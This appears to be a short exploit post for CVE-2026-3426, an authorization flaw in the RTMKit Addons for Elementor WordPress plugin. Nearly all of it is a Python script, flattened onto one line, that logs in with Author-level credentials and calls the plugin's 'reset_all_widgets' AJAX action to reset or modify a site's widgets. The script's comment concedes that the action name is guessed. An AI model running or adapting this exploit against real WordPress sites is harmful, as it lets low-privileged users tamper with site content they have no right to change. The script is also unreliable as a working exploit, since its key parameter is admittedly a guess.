CVE-2026-3426 WordPress RTMKit插件越权修改漏洞

import requests # Exploit Title: RTMKit Addons for Elementor < 2.0.2 - Authenticated (Author+) Widget Reset/Modification # Description: This script demonstrates how an authenticated user with Author-level privileges # can trigger the vulnerable functions to reset or modify widgets. target_url = "http://example.com/wp-admin/admin-ajax.php" login_url = "http://example.com/wp-login.php" # Attacker credentials (Author role) username = "attacker" password = "password123" session = requests.Session() # 1. Authenticate to the site login_payload = { 'log': username, 'pwd': password, 'redirect_to': 'http://example.com/wp-admin/', 'wp-submit': 'Log In', 'testcookie': '1' } session.post(login_url, data=login_payload) # 2. Exploit the vulnerability (reset_all_widgets) # The specific action name depends on the plugin's registration, usually mapped to the function name. exploit_payload = { 'action': 'reset_all_widgets' # This triggers the vulnerable function in WidgetStorage.php } response = session.post(target_url, data=exploit_payload) if response.status_code == 200: print("[+] Exploit successful! Widgets have been reset.") else: print("[-] Exploit failed or action name incorrect.")